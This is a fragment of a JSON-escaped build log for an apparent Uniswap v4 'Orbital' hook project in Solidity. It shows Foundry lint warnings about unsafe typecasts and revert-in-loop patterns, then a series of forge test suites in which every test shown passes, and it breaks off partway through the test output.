https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:700:17\n    │\n700 │         return (uint8(a - 1), uint8(b - 1));\n    │                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:700:31\n    │\n700 │         return (uint8(a - 1), uint8(b - 1));\n    │                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:747:24\n    │\n747 │         return found ? int256(lv[top].kNorm) : type(int256).max;\n    │                        ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:784:60\n    │\n784 │             boundary = _position(lv, boundaryMask, s, c) > int256(lv[l].kNorm);\n    │                                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:817:24\n    │\n817 │         int256 along = int256(kNorm * radius / sqrtN); // k·r/√N per coin\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:818:21\n    │\n818 │         int256 sr = int256(sNorm * radius / WAD);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:821:43\n    │\n821 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:821:59\n    │\n821 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:821:80\n    │\n821 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                                                                ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:822:30\n    │\n822 │             v[k] = val > 0 ? uint256(val) : 0;\n    │                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/OrbitalHook.sol:843:17\n    │\n843 │                 uu += uint256(u[k] * u[k]);\n    │                 ━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:838:29\n    │\n838 │             int256 xBound = int256(c.kb * WAD / sqrtN);\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:46\n    │\n839 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                              ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:62\n    │\n839 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                              ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:79\n    │\n839 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:93\n    │\n839 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                                                             ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:20\n    │\n840 │             u[k] = int256(_x[k]) - xBound;\n    │                    ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:842:25\n    │\n842 │                 u[k] -= int256(c.r);\n    │                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:843:23\n    │\n843 │                 uu += uint256(u[k] * u[k]);\n    │                       ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:849:35\n    │\n849 │                 v[k] = u[k] > 0 ? uint256(u[k]) * radius / c.r : 0;\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:856:26\n    │\n856 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                          ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:856:60\n    │\n856 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:856:76\n    │\n856 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                                                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:857:30\n    │\n857 │             v[k] = val > 0 ? uint256(val) : 0;\n    │                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:917:23\n    │\n917 │         if (c.r == 0) revert NoInteriorLiquidity();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:988:29\n    │\n988 │             if (d1 > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:174:68\n    │\n174 │         if (maxOut == 0 || _f(p, dIn, maxOut, n, sqrtNWad, c) < 0) revert InsufficientLiquidity();\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:964:38\n    │\n964 │             if (t.remaining > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:192:26\n    │\n192 │         if (dOut > p.xj) revert InsufficientLiquidity();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1043:23\n     │\n1043 │         if (w < c.sb) revert BoundaryInverted();\n     │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1048:54\n     │\n1048 │             if (int256(x[k]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                                                      ━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:983:22\n    │\n983 │         int256 gap = int256(t.lv[l].kNorm) - OrbitalMath.alphaIntNorm(p.s, sqrtN, c); // plane − position\n    │                      ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1003:17\n     │\n1003 │             if (int256(lv[l].kNorm) <= aAfter) return (true, l); // ascending in kNorm\n     │                 ━━━━━━━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n     ╭▸ src/OrbitalHook.sol:1018:32\n     │\n1018 │         uint256 qT = wT * wT + sT * sT / n;\n     │                                ━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1044:24\n     │\n1044 │         int256 along = int256(c.kb * WAD / sqrtN);\n     │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1047:35\n     │\n1047 │             if (w != 0) xBound += int256(c.sb) * (int256(x[k]) - int256(s / n)) / int256(w);\n     │                                   ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1047:51\n     │\n1047 │             if (w != 0) xBound += int256(c.sb) * (int256(x[k]) - int256(s / n)) / int256(w);\n     │                                                   ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1047:66\n     │\n1047 │             if (w != 0) xBound += int256(c.sb) * (int256(x[k]) - int256(s / n)) / int256(w);\n     │                                                                  ━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1047:83\n     │\n1047 │             if (w != 0) xBound += int256(c.sb) * (int256(x[k]) - int256(s / n)) / int256(w);\n     │                                                                                   ━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1048:17\n     │\n1048 │             if (int256(x[k]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                 ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1048:41\n     │\n1048 │             if (int256(x[k]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                                         ━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n     ╭▸ src/OrbitalHook.sol:1065:29\n     │\n1065 │         uint256 tolerance = c.r * (c.r / INVARIANT_TOLERANCE_DIVISOR) + 4 * c.r * _maxScale;\n     │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1066:13\n     │\n1066 │         if (uint256(-f) > tolerance) revert InvariantViolated();\n     │             ━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'uint256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":6028,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 23 tests for test/Reactive.t.sol:ReactiveBreakerTest\n[PASS] test_bandMath() (gas: 30005)\n[PASS] test_callbackAdminAndPayment() (gas: 190160)\n[PASS] test_callbackConstructionAndHookBinding() (gas: 8261)\n[PASS] test_callbackFailsWhenNotGuardian() (gas: 181572)\n[PASS] test_callbackIgnoresOlderRounds() (gas: 342955)\n[PASS] test_callbackRefusesNonProxy() (gas: 42646)\n[PASS] test_callbackRefusesWrongRvmId() (gas: 190812)\n[PASS] test_callbackSkipsWhenAlreadyPaused() (gas: 188024)\n[PASS] test_depegPausesThePoolEndToEnd() (gas: 385574)\n[PASS] test_inBandPriceDoesNothing() (gas: 89804)\n[PASS] test_latchRequestsOneCallbackPerExcursion() (gas: 358180)\n[PASS] test_nonPositivePriceTrips() (gas: 176447)\n[PASS] test_ownerResumeIsNotUndoneByTheSameExcursion() (gas: 242793)\n[PASS] test_priceAboveBandAlsoTrips() (gas: 155378)\n[PASS] test_reactRefusesUnexpectedLog() (gas: 68777)\n[PASS] test_reactRunsOnlyInTheReactVm() (gas: 364879)\n[PASS] test_reactVmCopyFollowsTheRotatedAggregator() (gas: 224859)\n[PASS] test_reactiveConfigValidation() (gas: 6461)\n[PASS] test_reactiveNetworkCopyManagesSubscriptionsAndFeedRotation() (gas: 1052449)\n[PASS] test_reactivePaymentHooks() (gas: 118027)\n[PASS] test_reactiveSubscribeManagementIsNetworkOnly() (gas: 87019)\n[PASS] test_retryRequestsTheCallbackAgainWhileTheExcursionLasts() (gas: 875044)\n[PASS] test_withoutRetriesAFailedDeliveryIsFinalForTheExcursion() (gas: 740858)\nSuite result: ok. 23 passed; 0 failed; 0 skipped; finished in 19.91ms (4.97ms CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalFrozenCoinTest\n[PASS] test_redeemClaimsFailurePaths() (gas: 1108557)\n[PASS] test_withdrawAndFeesDeliverHealthyCoinsWhenOneIsFrozen() (gas: 2380745)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 24.43ms (4.61ms CPU time)\n\nRan 2 tests for test/OrbitalPole.t.sol:OrbitalOffSurfaceTest\n[PASS] test_pointDeepInsideTheTorusFreezesSwapsNotWithdrawals() (gas: 1542920)\n[PASS] test_pointInsideByRoundingStillTrades() (gas: 1309766)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 34.05ms (5.41ms CPU time)\n\nRan 1 test for test/OrbitalTicks.t.sol:OrbitalDeadlockRecoveryTest\n[PASS] test_interiorReopensOnThePinnedPlane() (gas: 7178534)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 36.23ms (8.46ms CPU time)\n\nRan 1 test for test/OrbitalPoleEdge.t.sol:OrbitalFailSafeRecoveryTest\n[PASS] test_frozenPoolStillAcceptsDepositsAndFeesAndALargeDepositRestoresTrading() (gas: 3576047)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 36.51ms (6.06ms CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalReentrancyTest\n[PASS] test_hookActionsAreNonReentrant() (gas: 2346866)\n[PASS] test_swapInsideFeePayoutIsRefusedAndStateIsConsistent() (gas: 2906051)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 46.36ms (4.64ms CPU time)\n\nRan 3 tests for test/OrbitalLiquidity.t.sol:OrbitalDustPoolTest\n[PASS] test_dustPoolDoesNotSkimLaterDepositors() (gas: 1749790)\n[PASS] test_fullExitClearsReservesSoTheNextPoolStartsClean() (gas: 1833943)\n[PASS] test_withdrawalLeavesAtLeastMinRadiusOrNothing() (gas: 768432)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 56.20ms (6.34ms CPU time)\n\nRan 5 tests for test/OrbitalToken.t.sol:OrbitalTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 42018)\n[PASS] test_noMintOrAdminSurface() (gas: 52384)\n[PASS] test_transferFailures() (gas: 58450)\n[PASS] test_transferFromRespectsAllowance() (gas: 149978)\n[PASS] test_transferMovesExactly() (gas: 74832)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 153.41ms (497.96µs CPU time)\n\nRan 1 test for test/invariant/OrbitalTokenInvariant.t.sol:OrbitalTokenInvariantTest\n[PASS]\nOrbitalTokenInvariantTest invariants:\n[PASS] invariant_balancesSumToSupply\n[PASS] invariant_supplyIsFixed\n OrbitalTokenInvariantTest invariants (runs: 64, calls: 2560, reverts: 0)\n\n╭---------------------+------------------------+-------+---------+----------╮\n| Contract            | Selector               | Calls | Reverts | Discards |\n+===========================================================================+\n| OrbitalTokenHandler | approveAndTransferFrom | 1303  | 0       | 0        |\n|---------------------+------------------------+-------+---------+----------|\n| OrbitalTokenHandler | transfer               | 1257  | 0       | 0        |\n╰---------------------+------------------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 297.39ms (295.70ms CPU time)\n\nRan 31 tests for test/OrbitalHook.t.sol:OrbitalHookTest\n[PASS] testFuzz_exactOutMatchesQuoteAndCostsAtLeastPar(uint256) (runs: 256, μ: 1715449, ~: 1736677)\n[PASS] testFuzz_roundTripNeverProfits(uint256) (runs: 256, μ: 2149075, ~: 2315770)\n[PASS] testFuzz_swapKeepsPointOnTorus(uint256,bool) (runs: 256, μ: 1568803, ~: 1421858)\n[PASS] test_callbacksRefuseNonPoolManager() (gas: 177602)\n[PASS] test_concentratedTickNeedsLessCapital() (gas: 606680)\n[PASS] test_constructorRejectsBadConfig() (gas: 49457802)\n[PASS] test_depegIsolatesConcentratedLiquidity() (gas: 3384893)\n[PASS] test_depositRejectsBadInputs() (gas: 167867)\n[PASS] test_depositRespectsMaxAmounts() (gas: 180839)\n[PASS] test_feesAccrueToLpsAndAreCollectable() (gas: 1553969)\n[PASS] test_firstDepositOpensAtEqualPrice() (gas: 557427)\n[PASS] test_guardianCanPauseOnlyGuardian() (gas: 130777)\n[PASS] test_guardianCannotUnpause() (gas: 98888)\n[PASS] test_initializeNonBasketPoolIsPassThrough() (gas: 603748)\n[PASS] test_initializeRefusedWhilePaused() (gas: 605613)\n[PASS] test_initializeRegistersOrbitalPairs() (gas: 19217)\n[PASS] test_largeTradePinsTightTickAndUnpinsOnReturn() (gas: 2530959)\n[PASS] test_ownerAdmin() (gas: 256569)\n[PASS] test_passThroughPoolUsesPlainV4Liquidity() (gas: 1294658)\n[PASS] test_pauseBlocksSwapsAndDepositsButNotWithdrawals() (gas: 1742507)\n[PASS] test_permissionsMatchAddressBits() (gas: 16808)\n[PASS] test_roundTripNeverProfits() (gas: 1955490)\n[PASS] test_swapExactInNearPeg() (gas: 1832573)\n[PASS] test_swapExactOut() (gas: 1705431)\n[PASS] test_swapRevertsWithoutLiquidity() (gas: 134942)\n[PASS] test_swapSixDecimalsBothWays() (gas: 1946553)\n[PASS] test_swapTooLargeReverts() (gas: 618210)\n[PASS] test_v4LiquidityRefusedOnOrbitalPools() (gas: 69905)\n[PASS] test_withdrawEverythingLeavesOnlyDust() (gas: 1975865)\n[PASS] test_withdrawRejectsTooMuchAndSlippage() (gas: 653977)\n[PASS] test_withdrawReturnsDeposit() (gas: 1031114)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 1.03s (911.03ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployBroadcastTest\n[PASS] test_deployUnderBroadcast() (gas: 13765348)\n[PASS] test_deployWiresEverything() (gas: 20884531)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17950041)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.10s (43.75ms CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalFullExitTest\n[PASS] testFuzz_everyoneCanLeaveAfterRandomActivity(uint256) (runs: 256, μ: 11646416, ~: 11616506)\n[PASS] test_everyoneCanLeaveAfterMixedActivity() (gas: 8301796)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.10s (1.11s CPU time)\n\nRan 2 tests for test/OrbitalPole.t.sol:OrbitalPoleTest\n[PASS] test_poleCoinIsPulledBackByTradesTowardsThePeg() (gas: 5716773)\n[PASS] test_tradeBetweenOtherCoinsCannotCarryAThirdCoinPastItsPole() (gas: 9224454)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.10s (30.08ms CPU time)\n\nRan 3 tests for test/OrbitalTicks.t.sol:OrbitalReturnTradeTest\n[PASS] testFuzz_randomActivityKeepsTicksConsistent(uint256) (runs: 256, μ: 12276159, ~: 12342956)\n[PASS] test_returnTradeThroughPegUnpinsAndRepins() (gas: 5112132)\n[PASS] test_tickOnItsPlaneRejoinsAfterDepositNudge() (gas: 61185024)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.10s (1.22s CPU time)\n\nRan 10 tests for test/OrbitalMath.t.sol:OrbitalMathTest\n[PASS] testFuzz_solveInInvertsSolveOut(uint256) (runs: 256, μ: 606566, ~: 625222)\n[PASS] testFuzz_solveOutLandsOnSphere(uint256) (runs: 256, μ: 321509, ~: 322199)\n[PASS] testFuzz_sqrtIsFloor(uint256) (runs: 256, μ: 1637, ~: 1648)\n[PASS] test_hookFlags() (gas: 592)\n[PASS] test_invariantZeroAtEqualPoint() (gas: 7631)\n[PASS] test_planeStepPicksTheRequestedImage() (gas: 15492)\n[PASS] test_planeStepStaysPutAtZeroShift() (gas: 4991)\n[PASS] test_solveOutRevertsWhenDrained() (gas: 41857)\n[PASS] test_sqrtN() (gas: 3533)\n[PASS] test_tickGeometry() (gas: 12606)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 1.37s (1.55s CPU time)\n\nRan 2 tests for test/OrbitalPoleEdge.t.sol:OrbitalPoleEdgeTest\n[PASS] 